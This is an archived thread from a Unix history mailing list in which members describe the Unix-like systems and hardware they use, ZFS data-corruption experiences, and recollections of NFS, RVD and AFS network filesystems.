The fourth machine lives up at my ski cabin and has 20TiB of disk;  I have a
remote control system make from a Raspberry PI that I can use to control the
power on that machine so that I can rsync to it.  It's my main offsite backup
machine.  All of these machines run Fedora Linux, currently FC26.

I have a Soekris firewall box here that I believe runs FreeBSD.

I have a Lenovo P70 laptop.  Not really fair to call it a laptop since it's
the 17" screen version.  It's really a portable workstation since my clients
never seem to have decent machines when I'm on site.  It runs Ubuntu 16.04.
Would rather run Fedora and have all of the machines be the same but sadly
the Fedora folks don't seem to care about laptops and it doesn't have working
device drivers.

My daughter has a Lenova Yoga 720 that also runs Ubuntu.

Oh, both laptops dual-boot Windows since they came with Windows.  Turns out that
having a laptop running Linux is a lot like running UNIX on a VAX in the 80s
when DEC refused to service machines that weren't running their software.
Earlier this year I returned a Dell laptop with assistance from the Oregon
Department of Justice because they refused to provide warranty service without
Windows installed which it wasn't.  The problem was that the display hardware
failed so I couldn't reinstall Windows and they wanted to charge me to do it
before considering the warranty.  Won't buy another Dell product.

While it's more for amusement than anything else I picked up an Ethernet to
GPIB dongle some years ago which allows me to control my rack of test and
measurement equipment.

Someone is obviously going to ask what I do with all of that disk space.  Only
4 TiB of it is for work.  The rest is media, primarily my live music collection.

Jon

[TUHS] UNIX of choice these days?

[Ian Zimmerman]

On 2017-09-20 08:42, Jon Steinhart wrote:

> The fourth machine lives up at my ski cabin and has 20TiB of disk;  I have a
> remote control system make from a Raspberry PI that I can use to control the
> power on that machine so that I can rsync to it.  It's my main offsite backup
> machine.

This is intriguing; how do you remote-control to the ski cabin?
Satellite or something?

> Won't buy another Dell product.

I have two Dell things, both essential: 1. an ultra light Inspiron XPS
which came with Ubuntu preinstalled (or so I believe, it's second hand)
but now runs my debloated Gentoo variant; and 2. one of their 24 inch
displays, which sadly remain the only affordable wide gamut options, to
my knowledge.

-- 
Please don't Cc: me privately on mailing lists and Usenet,
if you also post the followup to the list or newsgroup.
Do obvious transformation on domain to reply privately _only_ on Usenet.

[TUHS] UNIX of choice these days?

[Jon Steinhart]

Ian Zimmerman writes:
> On 2017-09-20 08:42, Jon Steinhart wrote:
> 
> > The fourth machine lives up at my ski cabin and has 20TiB of disk;  I have a
> > remote control system make from a Raspberry PI that I can use to control the
> > power on that machine so that I can rsync to it.  It's my main offsite backup
> > machine.
> 
> This is intriguing; how do you remote-control to the ski cabin?
> Satellite or something?

Built a small daughter board with a few solid-state relays that plugs in
to a Raspberry Pi.  It does a few things for me...

I don't like to keep the ski cabin machine powered up when not in use.
Especially you Californians will be pissed at this but the cost of electricity
at the ski cabin is something like 8x what I pay at home.  Of course, that's
probably on par with what you pay; at home I'm on a public utility district
that buys directly from BPA.  Also, I'm just one of those weird environmental
types who turns off the lights when I leave a room so I don't want to be
burning a power 24x7 for no reason.

Also, while that machine is on a UPS, power up there is pretty flakey when
the storms rage.  So I couldn't count on the machine staying on.

The Pi pings a dynamic DNS server so that I can find the machine.  It also
lets me know when the internet connection up their dies so that I can call
CenturyLink.  Unsurprisingly, their customer service number is identical to
that of Dell and Verizon:  the Oregon Department of Justice.

One of the solid-state relays on the Pi is connected to the power switch on
the bigger computer so that I can power it up from remote.  Another is on
the rest switch in case things go really weird and I can't power things down.
That has never happened but it's just in case.

The last relay is connected to the thermostat.  That way, if I decide to go
skiing on short notice I can turn the heat on while I'm driving up and it'll
be warm when I get there.

Oh, don't need satellite.  The ski cabin has DSL so I get 10x the service that
I get at home for .1x the price.

Jon

[TUHS] UNIX of choice these days?

[Arthur Krewat]

Oh, and one more thing that may produce an offshoot, or at least more 
discussion about what's the "right thing to do".

I'm coming off as a Solaris snob, I'm sure, but that's ok ;)

Using Solaris and ZFS, it automatically checksums everything, and can 
correct it on-the-fly. Add to that raidz2, and most data corruption can 
be dealt with.

Which brings up my experience with bit-rot.

Two stories:

1) Home server, using SAS to some Dell MD1000's with SATA drives in them 
(through SAS->SATA interposers), and find that one of controllers in one 
of the MD1000s was corrupting data. On average at it's height, I was 
getting one or two checksum errors in ZFS a day. I didn't notice it 
right away until ZFS actually errored out a disk because of it, and the 
raidz2 zpool went DEGRADED. By the time I dealt with it, I had a few 
hundred errors showing in the zpool status.

It was pretty obvious which MD1000 controller was causing the issue 
because almost every drive on that particular controller was reporting 
errors all at the same time. But it was at a level that the data on the 
disk was actually being corrupted "in flight" in such a way that the SAS 
controller in the server didn't see any protocol errors, it was really 
data corruption at the sector level.

2) Work server, M1000e chassis with an Oracle Solaris cluster on a pair 
of M610 blades, Emulex fiber controllers, Brocade 5100 switchs, and a 
Dell Compellent. Twice in two years, ZFS noticed a checksum error in a 
record of a file. One was a redo log that had already been read before 
it errored, and the other was a flashback log that wasn't necessary for 
continued operation of the database.

This one, I'm not so sure isn't a bug in firmware (or even Solaris) 
somewhere along the path. One error happened on one node, the other 
error happened on the other node. Two different types of databases - one 
Student Information System, the other online learning. QA cluster never 
see any issues.

Problem with this is, I'm using ZFS on top of a SAN - so there's no 
mirroring or raidz# going on, it's all on the SAN to deal with errors. 
Once ZFS sees corruption, the file goes into "I/O error".

--

Both these stories point out that bit-rot is really a thing. I refuse to 
store any of my own personal/work/whatever data on a machine that 
doesn't do ECC for RAM, or filesystems that do not checksum. I have a 
lot of old data and source code stored on my array. I would hate to open 
an old source file and see a corrupted sector right in the middle of it. 
I've seen it happen to other people. I've seen it happen to me 20 years 
ago. Never again.

I back everything up to an LTO4 library, and regular take 
infinite-retention backups and store them off-site, and recently started 
up an Amazon EC2 instance in Ireland and rsync stuff to that using 
"magnetic" storage (spinning disk) - which is relatively cheap.

Anyone know of a reliable filesystem that checksums everything? Oh wait, 
ZFS is available for Linux - wonder if I can install it on an Amazon 
micro t2 instance? I'll have to check.

[TUHS] UNIX of choice these days?

[Steve Simon]

Is plan9 unix-ish enough?

I run plan9 on a raspberry pi at work with Remote Desktop to
win7 for corporate apps. A plan9  mini ITX box for web/mail/file/dns
at home, Osx Mac for photos, and iPads for kids.

-Steve

[TUHS] UNIX of choice these days?

[Erik Berls]

Desktop is a OS X box.

NetBSD on everything I can, but i'll admit to that getting harder and
harder, esp in the ARM world.

On Wed, Sep 20, 2017 at 15:41 Steve Simon <steve at quintile.net> wrote:

> Is plan9 unix-ish enough?
>
> I run plan9 on a raspberry pi at work with Remote Desktop to
> win7 for corporate apps. A plan9  mini ITX box for web/mail/file/dns
> at home, Osx Mac for photos, and iPads for kids.
>
> -Steve
>
-- 
-=erik.
--
Look, I lived through the Gray Davis years.  I *need* a UPS.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/ae04d60f/attachment-0001.html>

[TUHS] UNIX of choice these days?

[Robert Brockway]

On Tue, 19 Sep 2017, Arthur Krewat wrote:

> What's your UNIX of choice to do normal "real" things these days?

Started with SunOS in 1992.

Got Linux on the desktop in 1994 and I've used it as my desktop ever 
since.  The only time I was worried about the continued viability of Linux 
as a desktop was around 2000-2002.  I found that was the period of maximum 
Microsoft (MS) browser dominance.

After that I think a number of changes improved the situation:

(1) MS started to more actively and honestly work with standards bodies 
and other vendors.

(2) Greater public recognition of the importance of open standards.

(3) MS desktop dominance became increasingly irrelevant with the rise of 
mobile computing.

(4) Chomebooks appeared, increasing the number of people using a Linux/X 
desktop even if they didn't realise it.

Cheers,

Rob

[TUHS] UNIX of choice these days?

[Derrik Walker v2.0]

On 09/19/2017 08:12 PM, Arthur Krewat wrote:
> What's your UNIX of choice to do normal "real" things these days?
>
Linux. I miss legacy UNIX, but for better or worse, Linux won ( well, 
certainly better than Windoze, anyway ).

I use Fedore on Main Home desktop and Laptop, RHEL on my server, Ubuntu 
Server on my Lightsail instances, and Rapsian on my Rapsberry Pis.

And my day job is different versions of RHEL. Haven't touched a Legacy 
UNIX system at work in more than 10 years now.

Still keeping a Copy of IRIX around in case I should ever feel like 
getting another SGI.

Was a Mac user for Eons ( Running MachTen on Classic Mac OS and the 
Native BSD on OS X ). But about 7 or 8 years ago, I was due for a 
computer upgrade, figured out I really didn't need Mac OS and could do 
everything I needed in Linux, and could build my own Linux box for much, 
much cheaper than a Mac ( or even a Dell when I priced one out ).

- Derrik

-- 
-- Derrik

Derrik Walker v2.0, RHCE
dwalker at doomd.net

"Those UNIX guys, they think weird!" -- John C. Dvorak


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3986 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170920/190dd14d/attachment.bin>

[TUHS] UNIX of choice these days?

[Gregg Levine]

Hello!
What do I run you're asking:
I run a Solaris 10 (March 2005) on SPARC for file delivery, and
specialty graphics management. And a gathering of Raspberry Pi devices
running their version of Debian. One running is a regular Pi.

Currently sleeping is a Slackware Linux 11.0 system.
-----
Gregg C Levine gregg.drwho8 at gmail.com
"This signature fought the Time Wars, time and again."


On Tue, Sep 19, 2017 at 8:12 PM, Arthur Krewat <krewat at kilonet.net> wrote:
> What's your UNIX of choice to do normal "real" things these days?
>
> Home file server (NAS), business stuff, develop code, whatever.
>
> Mine is Solaris 11.3 at this point. Oracle has provided almost all the
> "normal" utilities that are used by Linux folk, and it runs on Intel
> hardware rather well. My main storage is a raidz2 of 24TB and I get
> 1.2GB/sec to a bunch of 3TB 512-byte-sector SAS drives.
>
> It serves my vmware farm with iSCSI at 10gbe using COMSTAR, which also
> houses a bunch of Solaris 11 guests that perform various chores. It also
> houses some Linux and Windows guests for prototyping/testing. It's also my
> Samba server, servicing a few Windows workstations.
>
> This is all in my home office where I do all my personal/professional work.
>
> What do you all use for day-to-day development and general playing around
> with new stuff?
>
> AAK

[TUHS] UNIX of choice these days?

[Nicholas Chappell]

Macbook pro with OS X for personal and work machines. Work's systems are a little CentOS 6, a lot of CentOS 7 and some CoreOS, all on bare metal (no virtualization).

Most of my playing around/experimenting is in CentOS 7 VMware VMs run out of Vagrant (to make spinup/teardown much faster and git-trackable).

[TUHS] UNIX of choice these days?

[Mutiny]

It seems so that the large majority of us runs Linux, while others run (free)bsd or OSX.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170921/46d1ffc4/attachment.html>

[TUHS] UNIX of choice these days?

[gilbertmm]

> It seems so that the large majority of us runs Linux, while others run
> (free)bsd or OSX.

I run macOS these days. I have used FreeBSD in the recent past as my main
UNIX OS. In production, mostly GNU/Linux UNIX-like OSes have been in use.

[TUHS] UNIX of choice these days?

[Grant Taylor]

On 09/21/2017 10:38 AM, Mutiny  wrote:
> It seems so that the large majority of us runs Linux, while others run 
> (free)bsd or OSX.

I wonder how much of this fact is based on the proliferation of cheap 
(in all senses of the word) x86 hardware vs the availability of hardware 
to run more traditional Unixes on.

I know a couple of guys that would run AIX in a heartbeat if they could 
for their day to day workstation tasks.



-- 
Grant. . . .
unix || die

-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170921/afcb9a51/attachment.bin>

[TUHS] UNIX of choice these days?

[Dave Horsfall]

On Fri, 21 Sep 2017, Mutiny  wrote:

> It seems so that the large majority of us runs Linux, while others run 
> (free)bsd or OSX.

I run all three :-)

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."

[TUHS] UNIX of choice these days?

[Thomas Kellar]

Usually Ubuntu server

On Tue, Sep 19, 2017 at 8:12 PM, Arthur Krewat <krewat at kilonet.net> wrote:
> What's your UNIX of choice to do normal "real" things these days?
>
> Home file server (NAS), business stuff, develop code, whatever.
>
> Mine is Solaris 11.3 at this point. Oracle has provided almost all the
> "normal" utilities that are used by Linux folk, and it runs on Intel
> hardware rather well. My main storage is a raidz2 of 24TB and I get
> 1.2GB/sec to a bunch of 3TB 512-byte-sector SAS drives.
>
> It serves my vmware farm with iSCSI at 10gbe using COMSTAR, which also
> houses a bunch of Solaris 11 guests that perform various chores. It also
> houses some Linux and Windows guests for prototyping/testing. It's also my
> Samba server, servicing a few Windows workstations.
>
> This is all in my home office where I do all my personal/professional work.
>
> What do you all use for day-to-day development and general playing around
> with new stuff?
>
> AAK

[TUHS] RFS was: Re: UNIX of choice these days?

[Noel Chiappa]

    > From: Theodore Ts'o

    > when a file was truncated and then rewritten, and "truncate this file"
    > packet got reordered and got received after the "here's the new 4k of
    > contents of the file", Hilar[i]ty Enused.

This sounds _exactly_ like a bad bug found in the RVD protocol (Remote Virtual
Disk - a simple block device emulator). Disks kept suffering bit rot (damage
to the inodes, IIRC). After much suffering, and pain trying to debug it (lots
of disk writes, how do you figure out the one that's the problem), it was
finally found (IIRC, it wasn't something thinking about it, they actually
caught it). Turned out (I'm pretty sure my memory of the bug is correct), if
you had two writes of the same block in quick sucession, and the second was
lost, if the first one's ack was delayed Just Enough...

They had an unused 'hint' (I think) field in the protocol, and so they
recycled that to be a sequence number, so they could tell ack's apart.

      Noel

[TUHS] RFS was: Re: UNIX of choice these days?

[Theodore Ts'o]

On Thu, Sep 28, 2017 at 08:53:54AM -0400, Noel Chiappa wrote:
>     > From: Theodore Ts'o
> 
>     > when a file was truncated and then rewritten, and "truncate this file"
>     > packet got reordered and got received after the "here's the new 4k of
>     > contents of the file", Hilar[i]ty Enused.
> 
> This sounds _exactly_ like a bad bug found in the RVD protocol (Remote Virtual
> Disk - a simple block device emulator). Disks kept suffering bit rot (damage
> to the inodes, IIRC). After much suffering, and pain trying to debug it (lots
> of disk writes, how do you figure out the one that's the problem), it was
> finally found (IIRC, it wasn't something thinking about it, they actually
> caught it). Turned out (I'm pretty sure my memory of the bug is correct), if
> you had two writes of the same block in quick sucession, and the second was
> lost, if the first one's ack was delayed Just Enough...

At least at Project Athena, we only used RVD as a way to do read-only
dissemination of system software, since RVD couldn't provide any kind
of file sharing, which was important at Athena.  So we used NFS
initially, and later on, transitioned to the Andrew File System (AFS).

The fact that with AFS you could do live migration of a user's home
directory, in the middle of day, to replace a drive that was making
early signs of failure --- was such that all of our ops people
infinitely preferred AFS to NFS.  NFS meant coming in late at night,
after scheduling downtime, to replace a failing disk, where as with
AFS, aside from a 30 second hiccup when the AFS volume was swept from
one server to another, was such that AFS was referred to as "crack
cocaine".  One ops people had a sniff of AFS, they never wanted to go
back to NFS.

						- Ted

[TUHS] RFS was: Re: UNIX of choice these days?

[Clem Cole]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 711 bytes --]

On Thu, Sep 28, 2017 at 10:09 AM, Theodore Ts'o <tytso at mit.edu> wrote:

> One ops people had a sniff of AFS, they never wanted to go
> ​ ​
> back to NFS.
>
​Amen... and once you switched to a token manager or dlm under the covers
to do the locking, you never could understand why wouldn't do it properly.​

Although the brilliance of NFS was its easy of getting out there getting
people addicted to using a distributed FS.  That was what Sun nailed.

And just like communism had to add 'work incentives' -- NFS added state :-)

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170928/9b91eafe/attachment.html>

[TUHS] RFS was: Re: UNIX of choice these days?

[David]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1348 bytes --]

> 
> It's important to note, when talking about NFS, that there was Sun's NFS
> and everyone else's NFS.  Sun ran their entire company on NFS.  /usr/dist
> was where all the software that was not part of SunOS lived, it was an
> NFS mounted volume (that was replicated to each subnet).  It was heavily
> used as were a lot of other things.  The automounter at Sun just worked,
> wanted to see your buddies stuff?  You just cd-ed to it and it worked.
> 
> Much like mmap, NFS did not export well to other companies.  When I went
> to SGI I actually had a principle engineer (like Suns distinguished
> engineer) tell me "nobody trusts NFS, use rcp if you care about your
> data".  What.  The.  Fuck.  At Sun, NFS just worked.  All the time.
> The idea that it would not work was unthinkable and if it ever did
> not work it got fixed right away.
> 
> Other companies, it was a checkbox thing, it sorta worked.  That was
> an eye opener for me.  mmap was the same way, Sun got it right and 
> other companies sort of did.
> 
I remember the days of NFS Connect-a-thons where all the different
vendors would get together and see if they all interoperated. It was
interesting to see who worked and who didn’t. And all the hacking to
fix your implementation to talk to vendor X while not breaking it working
with vendor Y.

Good times indeed.

	David

[TUHS] RFS was: Re: UNIX of choice these days?

[Pete Wright]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1655 bytes --]



On 09/28/2017 07:08, David wrote:
>> It's important to note, when talking about NFS, that there was Sun's NFS
>> and everyone else's NFS.  Sun ran their entire company on NFS.  /usr/dist
>> was where all the software that was not part of SunOS lived, it was an
>> NFS mounted volume (that was replicated to each subnet).  It was heavily
>> used as were a lot of other things.  The automounter at Sun just worked,
>> wanted to see your buddies stuff?  You just cd-ed to it and it worked.
>>
>> Much like mmap, NFS did not export well to other companies.  When I went
>> to SGI I actually had a principle engineer (like Suns distinguished
>> engineer) tell me "nobody trusts NFS, use rcp if you care about your
>> data".  What.  The.  Fuck.  At Sun, NFS just worked.  All the time.
>> The idea that it would not work was unthinkable and if it ever did
>> not work it got fixed right away.
>>
>> Other companies, it was a checkbox thing, it sorta worked.  That was
>> an eye opener for me.  mmap was the same way, Sun got it right and
>> other companies sort of did.
>>
> I remember the days of NFS Connect-a-thons where all the different
> vendors would get together and see if they all interoperated. It was
> interesting to see who worked and who didn’t. And all the hacking to
> fix your implementation to talk to vendor X while not breaking it working
> with vendor Y.
>
> Good times indeed.

It is funny you mention this - someone mentioned RedHat is doing 
something similar to this in Boston next week:

https://lists.freebsd.org/pipermail/freebsd-current/2017-September/067013.html

-pete

-- 
Pete Wright
pete at nomadlogic.org
@nomadlogicLA